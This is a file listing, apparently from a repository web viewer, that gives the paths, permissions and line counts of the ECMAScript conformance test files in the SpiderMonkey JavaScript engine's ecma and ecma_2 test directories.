-rw-r--r--js/src/tests/ecma/LexicalConventions/7.3-5.js31
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.3-6.js31
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.3-7.js32
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.3-8.js31
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.3-9.js31
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.1-1-n.js37
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.1-2-n.js37
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.1-3-n.js35
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-1-n.js43
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-10-n.js43
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-11-n.js43
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-12-n.js43
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-13-n.js43
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-14-n.js43
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-15-n.js43
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-16-n.js43
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-2-n.js43
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-3-n.js43
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-4-n.js43
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-5-n.js43
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-6-n.js43
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-7-n.js41
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-8-n.js42
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.2-9-n.js43
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-1-n.js37
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-10-n.js37
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-11-n.js37
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-12-n.js37
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-13-n.js37
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-14-n.js69
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-15-n.js63
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-16-n.js54
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-2-n.js37
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-3-n.js38
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-4-n.js68
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-5-n.js37
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-6-n.js37
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-7-n.js69
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-8-n.js37
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.4.3-9-n.js70
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.5-1.js28
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.5-10-n.js30
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.5-2-n.js30
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.5-3-n.js30
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.5-4-n.js30
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.5-5-n.js30
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.5-6.js27
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.5-7.js27
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.5-8-n.js30
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.5-9-n.js30
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.6.js279
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.7.1.js30
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.7.2.js37
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.7.3-1.js164
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.7.3-2.js59
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.7.3.js297
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.7.4.js208
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.8.2-n.js29
-rw-r--r--js/src/tests/ecma/LexicalConventions/browser.js0
-rw-r--r--js/src/tests/ecma/LexicalConventions/shell.js0
-rw-r--r--js/src/tests/ecma/Math/15.8-2-n.js48
-rw-r--r--js/src/tests/ecma/Math/15.8-3-n.js47
-rw-r--r--js/src/tests/ecma/Math/15.8.1.1-1.js30
-rw-r--r--js/src/tests/ecma/Math/15.8.1.1-2.js35
-rw-r--r--js/src/tests/ecma/Math/15.8.1.2-1.js30
-rw-r--r--js/src/tests/ecma/Math/15.8.1.2-2.js36
-rw-r--r--js/src/tests/ecma/Math/15.8.1.3-1.js31
-rw-r--r--js/src/tests/ecma/Math/15.8.1.3-2.js38
-rw-r--r--js/src/tests/ecma/Math/15.8.1.4-1.js31
-rw-r--r--js/src/tests/ecma/Math/15.8.1.4-2.js35
-rw-r--r--js/src/tests/ecma/Math/15.8.1.5-1.js32
-rw-r--r--js/src/tests/ecma/Math/15.8.1.5-2.js36
-rw-r--r--js/src/tests/ecma/Math/15.8.1.6-1.js31
-rw-r--r--js/src/tests/ecma/Math/15.8.1.6-2.js36
-rw-r--r--js/src/tests/ecma/Math/15.8.1.7-1.js31
-rw-r--r--js/src/tests/ecma/Math/15.8.1.7-2.js36
-rw-r--r--js/src/tests/ecma/Math/15.8.1.8-1.js31
-rw-r--r--js/src/tests/ecma/Math/15.8.1.8-2.js35
-rw-r--r--js/src/tests/ecma/Math/15.8.1.8-3.js29
-rw-r--r--js/src/tests/ecma/Math/15.8.1.js115
-rw-r--r--js/src/tests/ecma/Math/15.8.2.1.js192
-rw-r--r--js/src/tests/ecma/Math/15.8.2.10.js119
-rw-r--r--js/src/tests/ecma/Math/15.8.2.11.js166
-rw-r--r--js/src/tests/ecma/Math/15.8.2.12.js143
-rw-r--r--js/src/tests/ecma/Math/15.8.2.13.js351
-rw-r--r--js/src/tests/ecma/Math/15.8.2.14.js45
-rw-r--r--js/src/tests/ecma/Math/15.8.2.15.js168
-rw-r--r--js/src/tests/ecma/Math/15.8.2.16.js98
-rw-r--r--js/src/tests/ecma/Math/15.8.2.17.js183
-rw-r--r--js/src/tests/ecma/Math/15.8.2.18.js131
-rw-r--r--js/src/tests/ecma/Math/15.8.2.2.js122
-rw-r--r--js/src/tests/ecma/Math/15.8.2.3.js124
-rw-r--r--js/src/tests/ecma/Math/15.8.2.4.js122
-rw-r--r--js/src/tests/ecma/Math/15.8.2.5.js210
-rw-r--r--js/src/tests/ecma/Math/15.8.2.6.js198
-rw-r--r--js/src/tests/ecma/Math/15.8.2.7.js249
-rw-r--r--js/src/tests/ecma/Math/15.8.2.8.js100
-rw-r--r--js/src/tests/ecma/Math/15.8.2.9.js157
-rw-r--r--js/src/tests/ecma/Math/browser.js0
-rw-r--r--js/src/tests/ecma/Math/shell.js0
-rw-r--r--js/src/tests/ecma/NativeObjects/browser.js0
-rw-r--r--js/src/tests/ecma/NativeObjects/shell.js0
-rw-r--r--js/src/tests/ecma/Number/0x-without-following-hexdigits.js30
-rw-r--r--js/src/tests/ecma/Number/15.7.1.js54
-rw-r--r--js/src/tests/ecma/Number/15.7.2.js134
-rw-r--r--js/src/tests/ecma/Number/15.7.3.1-1.js37
-rw-r--r--js/src/tests/ecma/Number/15.7.3.1-2.js37
-rw-r--r--js/src/tests/ecma/Number/15.7.3.1-3.js33
-rw-r--r--js/src/tests/ecma/Number/15.7.3.2-1.js31
-rw-r--r--js/src/tests/ecma/Number/15.7.3.2-2.js36
-rw-r--r--js/src/tests/ecma/Number/15.7.3.2-3.js33
-rw-r--r--js/src/tests/ecma/Number/15.7.3.2-4.js30
-rw-r--r--js/src/tests/ecma/Number/15.7.3.3-1.js34
-rw-r--r--js/src/tests/ecma/Number/15.7.3.3-2.js39
-rw-r--r--js/src/tests/ecma/Number/15.7.3.3-3.js30
-rw-r--r--js/src/tests/ecma/Number/15.7.3.3-4.js32
-rw-r--r--js/src/tests/ecma/Number/15.7.3.4-1.js32
-rw-r--r--js/src/tests/ecma/Number/15.7.3.4-2.js37
-rw-r--r--js/src/tests/ecma/Number/15.7.3.4-3.js31
-rw-r--r--js/src/tests/ecma/Number/15.7.3.4-4.js32
-rw-r--r--js/src/tests/ecma/Number/15.7.3.5-1.js30
-rw-r--r--js/src/tests/ecma/Number/15.7.3.5-2.js36
-rw-r--r--js/src/tests/ecma/Number/15.7.3.5-3.js31
-rw-r--r--js/src/tests/ecma/Number/15.7.3.5-4.js32
-rw-r--r--js/src/tests/ecma/Number/15.7.3.6-1.js31
-rw-r--r--js/src/tests/ecma/Number/15.7.3.6-2.js35
-rw-r--r--js/src/tests/ecma/Number/15.7.3.6-3.js31
-rw-r--r--js/src/tests/ecma/Number/15.7.3.6-4.js32
-rw-r--r--js/src/tests/ecma/Number/15.7.3.js35
-rw-r--r--js/src/tests/ecma/Number/15.7.4-1.js26
-rw-r--r--js/src/tests/ecma/Number/15.7.4.1.js28
-rw-r--r--js/src/tests/ecma/Number/15.7.4.2-1.js77
-rw-r--r--js/src/tests/ecma/Number/15.7.4.2-2-n.js42
-rw-r--r--js/src/tests/ecma/Number/15.7.4.2-3-n.js39
-rw-r--r--js/src/tests/ecma/Number/15.7.4.2-4.js36
-rw-r--r--js/src/tests/ecma/Number/15.7.4.3-1.js63
-rw-r--r--js/src/tests/ecma/Number/15.7.4.3-2.js31
-rw-r--r--js/src/tests/ecma/Number/15.7.4.3-3-n.js38
-rw-r--r--js/src/tests/ecma/Number/browser.js0
-rw-r--r--js/src/tests/ecma/Number/shell.js0
-rw-r--r--js/src/tests/ecma/ObjectObjects/15.2.1.1.js112
-rw-r--r--js/src/tests/ecma/ObjectObjects/15.2.1.2.js47
-rw-r--r--js/src/tests/ecma/ObjectObjects/15.2.2.1.js104
-rw-r--r--js/src/tests/ecma/ObjectObjects/15.2.2.2.js40
-rw-r--r--js/src/tests/ecma/ObjectObjects/15.2.3-1.js30
-rw-r--r--js/src/tests/ecma/ObjectObjects/15.2.3.1-1.js35
-rw-r--r--js/src/tests/ecma/ObjectObjects/15.2.3.1-2.js36
-rw-r--r--js/src/tests/ecma/ObjectObjects/15.2.3.1-3.js36
-rw-r--r--js/src/tests/ecma/ObjectObjects/15.2.3.1-4.js36
-rw-r--r--js/src/tests/ecma/ObjectObjects/15.2.3.js33
-rw-r--r--js/src/tests/ecma/ObjectObjects/15.2.4.1.js30
-rw-r--r--js/src/tests/ecma/ObjectObjects/15.2.4.2.js96
-rw-r--r--js/src/tests/ecma/ObjectObjects/15.2.4.3.js83
-rw-r--r--js/src/tests/ecma/ObjectObjects/browser.js0
-rw-r--r--js/src/tests/ecma/ObjectObjects/shell.js0
-rw-r--r--js/src/tests/ecma/README1
-rw-r--r--js/src/tests/ecma/SourceText/6-1.js94
-rw-r--r--js/src/tests/ecma/SourceText/6-2.js97
-rw-r--r--js/src/tests/ecma/SourceText/browser.js0
-rw-r--r--js/src/tests/ecma/SourceText/shell.js0
-rw-r--r--js/src/tests/ecma/Statements/12.10-1.js117
-rw-r--r--js/src/tests/ecma/Statements/12.10.js27
-rw-r--r--js/src/tests/ecma/Statements/12.2-1.js40
-rw-r--r--js/src/tests/ecma/Statements/12.5-1.js68
-rw-r--r--js/src/tests/ecma/Statements/12.5-2.js65
-rw-r--r--js/src/tests/ecma/Statements/12.6.1-1.js40
-rw-r--r--js/src/tests/ecma/Statements/12.6.2-1.js41
-rw-r--r--js/src/tests/ecma/Statements/12.6.2-2.js42
-rw-r--r--js/src/tests/ecma/Statements/12.6.2-3.js38
-rw-r--r--js/src/tests/ecma/Statements/12.6.2-4.js38
-rw-r--r--js/src/tests/ecma/Statements/12.6.2-5.js39
-rw-r--r--js/src/tests/ecma/Statements/12.6.2-6.js41
-rw-r--r--js/src/tests/ecma/Statements/12.6.2-7.js39
-rw-r--r--js/src/tests/ecma/Statements/12.6.2-8.js37
-rw-r--r--js/src/tests/ecma/Statements/12.6.2-9-n.js42
-rw-r--r--js/src/tests/ecma/Statements/12.6.3-1.js29
-rw-r--r--js/src/tests/ecma/Statements/12.6.3-10.js81
-rw-r--r--js/src/tests/ecma/Statements/12.6.3-11.js64
-rw-r--r--js/src/tests/ecma/Statements/12.6.3-12.js69
-rw-r--r--js/src/tests/ecma/Statements/12.6.3-19.js83
-rw-r--r--js/src/tests/ecma/Statements/12.6.3-2.js29
-rw-r--r--js/src/tests/ecma/Statements/12.6.3-3.js39
-rw-r--r--js/src/tests/ecma/Statements/12.6.3-4.js168
-rw-r--r--js/src/tests/ecma/Statements/12.6.3-5-n.js76
-rw-r--r--js/src/tests/ecma/Statements/12.6.3-6-n.js75
-rw-r--r--js/src/tests/ecma/Statements/12.6.3-7-n.js76
-rw-r--r--js/src/tests/ecma/Statements/12.6.3-8-n.js76
-rw-r--r--js/src/tests/ecma/Statements/12.6.3-9-n.js75
-rw-r--r--js/src/tests/ecma/Statements/12.7-1-n.js30
-rw-r--r--js/src/tests/ecma/Statements/12.8-1-n.js33
-rw-r--r--js/src/tests/ecma/Statements/12.9-1-n.js29
-rw-r--r--js/src/tests/ecma/Statements/browser.js0
-rw-r--r--js/src/tests/ecma/Statements/shell.js0
-rw-r--r--js/src/tests/ecma/String/15.5.1.js100
-rw-r--r--js/src/tests/ecma/String/15.5.2.js76
-rw-r--r--js/src/tests/ecma/String/15.5.3.1-1.js37
-rw-r--r--js/src/tests/ecma/String/15.5.3.1-2.js35
-rw-r--r--js/src/tests/ecma/String/15.5.3.1-3.js32
-rw-r--r--js/src/tests/ecma/String/15.5.3.1-4.js32
-rw-r--r--js/src/tests/ecma/String/15.5.3.2-1.js176
-rw-r--r--js/src/tests/ecma/String/15.5.3.2-2.js43
-rw-r--r--js/src/tests/ecma/String/15.5.3.2-3.js87
-rw-r--r--js/src/tests/ecma/String/15.5.3.js32
-rw-r--r--js/src/tests/ecma/String/15.5.4.1.js29
-rw-r--r--js/src/tests/ecma/String/15.5.4.10-1.js181
-rw-r--r--js/src/tests/ecma/String/15.5.4.11-1.js482
-rw-r--r--js/src/tests/ecma/String/15.5.4.11-3.js480
-rw-r--r--js/src/tests/ecma/String/15.5.4.11-4.js473
-rw-r--r--js/src/tests/ecma/String/15.5.4.11-6.js482
-rw-r--r--js/src/tests/ecma/String/15.5.4.12-2.js484
-rw-r--r--js/src/tests/ecma/String/15.5.4.12-3.js525
-rw-r--r--js/src/tests/ecma/String/15.5.4.12-5.js481
-rw-r--r--js/src/tests/ecma/String/15.5.4.2-1.js38
-rw-r--r--js/src/tests/ecma/String/15.5.4.2-2-n.js39
-rw-r--r--js/src/tests/ecma/String/15.5.4.2-3.js49
-rw-r--r--js/src/tests/ecma/String/15.5.4.2.js53
-rw-r--r--js/src/tests/ecma/String/15.5.4.3-1.js38
-rw-r--r--js/src/tests/ecma/String/15.5.4.3-2.js56
-rw-r--r--js/src/tests/ecma/String/15.5.4.3-3-n.js38
-rw-r--r--js/src/tests/ecma/String/15.5.4.4-1.js58
-rw-r--r--js/src/tests/ecma/String/15.5.4.4-2.js102
-rw-r--r--js/src/tests/ecma/String/15.5.4.4-3.js78
-rw-r--r--js/src/tests/ecma/String/15.5.4.4-4.js90
-rw-r--r--js/src/tests/ecma/String/15.5.4.5-1.js53
-rw-r--r--js/src/tests/ecma/String/15.5.4.5-2.js87
-rw-r--r--js/src/tests/ecma/String/15.5.4.5-3.js97
-rw-r--r--js/src/tests/ecma/String/15.5.4.5-4.js41
-rw-r--r--js/src/tests/ecma/String/15.5.4.5-5.js72
-rw-r--r--js/src/tests/ecma/String/15.5.4.6-1.js121
-rw-r--r--js/src/tests/ecma/String/15.5.4.6-2.js218
-rw-r--r--js/src/tests/ecma/String/15.5.4.7-1.js185
-rw-r--r--js/src/tests/ecma/String/15.5.4.7-2.js181
-rw-r--r--js/src/tests/ecma/String/15.5.4.8-1.js196
-rw-r--r--js/src/tests/ecma/String/15.5.4.8-2.js213
-rw-r--r--js/src/tests/ecma/String/15.5.4.8-3.js170
-rw-r--r--js/src/tests/ecma/String/15.5.4.9-1.js166
-rw-r--r--js/src/tests/ecma/String/15.5.4.js74
-rw-r--r--js/src/tests/ecma/String/15.5.5.1.js54
-rw-r--r--js/src/tests/ecma/String/browser.js0
-rw-r--r--js/src/tests/ecma/String/lastIndexOf-ToNumber-when-searchStr-larger-than-string.js22
-rw-r--r--js/src/tests/ecma/String/shell.js0
-rw-r--r--js/src/tests/ecma/TypeConversion/9.2.js103
-rw-r--r--js/src/tests/ecma/TypeConversion/9.3-1.js67
-rw-r--r--js/src/tests/ecma/TypeConversion/9.3.1-1.js308
-rw-r--r--js/src/tests/ecma/TypeConversion/9.3.1-2.js53
-rw-r--r--js/src/tests/ecma/TypeConversion/9.3.1-3.js718
-rw-r--r--js/src/tests/ecma/TypeConversion/9.3.js53
-rw-r--r--js/src/tests/ecma/TypeConversion/9.4-1.js78
-rw-r--r--js/src/tests/ecma/TypeConversion/9.4-2.js78
-rw-r--r--js/src/tests/ecma/TypeConversion/9.5-2.js139
-rw-r--r--js/src/tests/ecma/TypeConversion/9.6.js106
-rw-r--r--js/src/tests/ecma/TypeConversion/9.7.js126
-rw-r--r--js/src/tests/ecma/TypeConversion/9.8.1.js133
-rw-r--r--js/src/tests/ecma/TypeConversion/9.9-1.js85
-rw-r--r--js/src/tests/ecma/TypeConversion/browser.js0
-rw-r--r--js/src/tests/ecma/TypeConversion/shell.js0
-rw-r--r--js/src/tests/ecma/Types/8.1.js41
-rw-r--r--js/src/tests/ecma/Types/8.4.js96
-rw-r--r--js/src/tests/ecma/Types/8.6.2.1-1.js44
-rw-r--r--js/src/tests/ecma/Types/browser.js0
-rw-r--r--js/src/tests/ecma/Types/shell.js0
-rw-r--r--js/src/tests/ecma/browser.js0
-rw-r--r--js/src/tests/ecma/extensions/10.1.4-9.js75
-rw-r--r--js/src/tests/ecma/extensions/10.1.6.js93
-rw-r--r--js/src/tests/ecma/extensions/10.1.8-1.js101
-rw-r--r--js/src/tests/ecma/extensions/11.6.1-1.js111
-rw-r--r--js/src/tests/ecma/extensions/11.6.1-2.js102
-rw-r--r--js/src/tests/ecma/extensions/11.6.1-3.js103
-rw-r--r--js/src/tests/ecma/extensions/11.6.2-1.js90
-rw-r--r--js/src/tests/ecma/extensions/15-1.js60
-rw-r--r--js/src/tests/ecma/extensions/15-2.js43
-rw-r--r--js/src/tests/ecma/extensions/15.1.2.1-1.js53
-rw-r--r--js/src/tests/ecma/extensions/15.2.1.1.js48
-rw-r--r--js/src/tests/ecma/extensions/15.2.3-1.js30
-rw-r--r--js/src/tests/ecma/extensions/15.2.4.js32
-rw-r--r--js/src/tests/ecma/extensions/15.3.1.1-1.js48
-rw-r--r--js/src/tests/ecma/extensions/15.3.1.1-2.js48
-rw-r--r--js/src/tests/ecma/extensions/15.3.2.1-1.js38
-rw-r--r--js/src/tests/ecma/extensions/15.3.2.1-2.js38
-rw-r--r--js/src/tests/ecma/extensions/15.3.3.1-1.js33
-rw-r--r--js/src/tests/ecma/extensions/15.4.3.js29
-rw-r--r--js/src/tests/ecma/extensions/15.5.3.js32
-rw-r--r--js/src/tests/ecma/extensions/15.5.4.2.js25
-rw-r--r--js/src/tests/ecma/extensions/15.5.4.4-4.js73
-rw-r--r--js/src/tests/ecma/extensions/15.5.4.5-6.js60
-rw-r--r--js/src/tests/ecma/extensions/15.5.4.7-3.js127
-rw-r--r--js/src/tests/ecma/extensions/15.6.3.1-5.js24
-rw-r--r--js/src/tests/ecma/extensions/15.6.3.js31
-rw-r--r--js/src/tests/ecma/extensions/15.6.4-2.js32
-rw-r--r--js/src/tests/ecma/extensions/15.7.3.js35
-rw-r--r--js/src/tests/ecma/extensions/15.7.4.js56
-rw-r--r--js/src/tests/ecma/extensions/15.8-1.js50
-rw-r--r--js/src/tests/ecma/extensions/8.6.2.1-1.js64
-rw-r--r--js/src/tests/ecma/extensions/9.9-1.js68
-rw-r--r--js/src/tests/ecma/extensions/browser.js0
-rw-r--r--js/src/tests/ecma/extensions/errorcolumnblame.js79
-rw-r--r--js/src/tests/ecma/extensions/shell.js0
-rw-r--r--js/src/tests/ecma/shell.js651
-rw-r--r--js/src/tests/ecma/template.js39
-rw-r--r--js/src/tests/ecma_2/Exceptions/boolean-001.js47
-rw-r--r--js/src/tests/ecma_2/Exceptions/boolean-002.js51
-rw-r--r--js/src/tests/ecma_2/Exceptions/browser.js0
-rw-r--r--js/src/tests/ecma_2/Exceptions/date-002.js54
-rw-r--r--js/src/tests/ecma_2/Exceptions/date-003.js56
-rw-r--r--js/src/tests/ecma_2/Exceptions/date-004.js50
-rw-r--r--js/src/tests/ecma_2/Exceptions/exception-001.js45
-rw-r--r--js/src/tests/ecma_2/Exceptions/exception-002.js45
-rw-r--r--js/src/tests/ecma_2/Exceptions/exception-003.js49
-rw-r--r--js/src/tests/ecma_2/Exceptions/exception-004.js45
-rw-r--r--js/src/tests/ecma_2/Exceptions/exception-005.js45
-rw-r--r--js/src/tests/ecma_2/Exceptions/exception-006.js56
-rw-r--r--js/src/tests/ecma_2/Exceptions/exception-007.js57
-rw-r--r--js/src/tests/ecma_2/Exceptions/exception-008.js44
-rw-r--r--js/src/tests/ecma_2/Exceptions/exception-009.js53
-rw-r--r--js/src/tests/ecma_2/Exceptions/exception-010-n.js25
-rw-r--r--js/src/tests/ecma_2/Exceptions/exception-011-n.js26
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-001.js50
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-002.js60
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-003.js55
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-004.js49
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-005.js41
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-006.js46
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-007.js44
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-008.js41
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-009.js42
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-010.js43
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-011.js43
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-012.js44
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-013.js44
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-014.js46
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-015.js40
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-016.js40
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-017.js40
-rw-r--r--js/src/tests/ecma_2/Exceptions/expression-019.js44
-rw-r--r--js/src/tests/ecma_2/Exceptions/function-001.js53
-rw-r--r--js/src/tests/ecma_2/Exceptions/global-001.js45
-rw-r--r--js/src/tests/ecma_2/Exceptions/global-002.js45
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-001.js52
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-002.js52
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-003.js43
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-004.js52
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-005.js52
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-006.js58
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-007.js51
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-008.js53
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-009.js53
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-010.js52
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-011.js62
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-012.js53
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-013.js53
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-014.js62
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-015.js53
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-016.js62
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-017.js54
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-018.js53
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-019.js53
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-020.js53
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-021.js62
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-022.js54
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-023.js52
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-024.js59
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-025.js59
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-026.js59
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-027.js61
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-028.js59
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-029.js59
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-030.js59
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-031.js59
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-032.js59
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-033.js59
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-034.js58
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-035.js59
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-036.js59
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-037.js59
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-038.js59
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-039.js46
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-040.js46
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-041.js48
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-042.js49
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-047.js50
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-048.js44
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-049.js49
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-050.js45
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-051.js45
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-052.js47
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-053.js45
-rw-r--r--js/src/tests/ecma_2/Exceptions/lexical-054.js46
-rw-r--r--js/src/tests/ecma_2/Exceptions/number-001.js53
-rw-r--r--js/src/tests/ecma_2/Exceptions/number-002.js48
-rw-r--r--js/src/tests/ecma_2/Exceptions/number-003.js50
-rw-r--r--js/src/tests/ecma_2/Exceptions/shell.js0
-rw-r--r--js/src/tests/ecma_2/Exceptions/statement-001.js47
-rw-r--r--js/src/tests/ecma_2/Exceptions/statement-002.js69
-rw-r--r--js/src/tests/ecma_2/Exceptions/statement-003.js80
-rw-r--r--js/src/tests/ecma_2/Exceptions/statement-004.js52
-rw-r--r--js/src/tests/ecma_2/Exceptions/statement-005.js51
-rw-r--r--js/src/tests/ecma_2/Exceptions/statement-006.js51
-rw-r--r--js/src/tests/ecma_2/Exceptions/statement-007.js42
-rw-r--r--js/src/tests/ecma_2/Exceptions/statement-008.js42
-rw-r--r--js/src/tests/ecma_2/Exceptions/statement-009.js41
-rw-r--r--js/src/tests/ecma_2/Exceptions/string-001.js53
-rw-r--r--js/src/tests/ecma_2/Exceptions/string-002.js52
-rw-r--r--js/src/tests/ecma_2/Expressions/StrictEquality-001.js73
-rw-r--r--js/src/tests/ecma_2/Expressions/browser.js0
-rw-r--r--js/src/tests/ecma_2/Expressions/shell.js0
-rw-r--r--js/src/tests/ecma_2/FunctionObjects/apply-001-n.js29
-rw-r--r--js/src/tests/ecma_2/FunctionObjects/browser.js0
-rw-r--r--js/src/tests/ecma_2/FunctionObjects/call-1.js42
-rw-r--r--js/src/tests/ecma_2/FunctionObjects/shell.js0
-rw-r--r--js/src/tests/ecma_2/LexicalConventions/browser.js0
-rw-r--r--js/src/tests/ecma_2/LexicalConventions/keywords-001.js48
-rw-r--r--js/src/tests/ecma_2/LexicalConventions/regexp-literals-001.js44
-rw-r--r--js/src/tests/ecma_2/LexicalConventions/regexp-literals-002.js28
-rw-r--r--js/src/tests/ecma_2/LexicalConventions/shell.js0
-rw-r--r--js/src/tests/ecma_2/README1
-rw-r--r--js/src/tests/ecma_2/RegExp/browser.js0
-rw-r--r--js/src/tests/ecma_2/RegExp/constructor-001.js66
-rw-r--r--js/src/tests/ecma_2/RegExp/exec-001.js41
-rw-r--r--js/src/tests/ecma_2/RegExp/exec-002.js188
-rw-r--r--js/src/tests/ecma_2/RegExp/hex-001.js68
-rw-r--r--js/src/tests/ecma_2/RegExp/multiline-001.js68
-rw-r--r--js/src/tests/ecma_2/RegExp/octal-001.js78
-rw-r--r--js/src/tests/ecma_2/RegExp/octal-002.js93
-rw-r--r--js/src/tests/ecma_2/RegExp/octal-003.js87
-rw-r--r--js/src/tests/ecma_2/RegExp/properties-001.js91
-rw-r--r--js/src/tests/ecma_2/RegExp/properties-002.js129
-rw-r--r--js/src/tests/ecma_2/RegExp/regexp-enumerate-001.js88
-rw-r--r--js/src/tests/ecma_2/RegExp/regress-001.js45
-rw-r--r--js/src/tests/ecma_2/RegExp/shell.js0
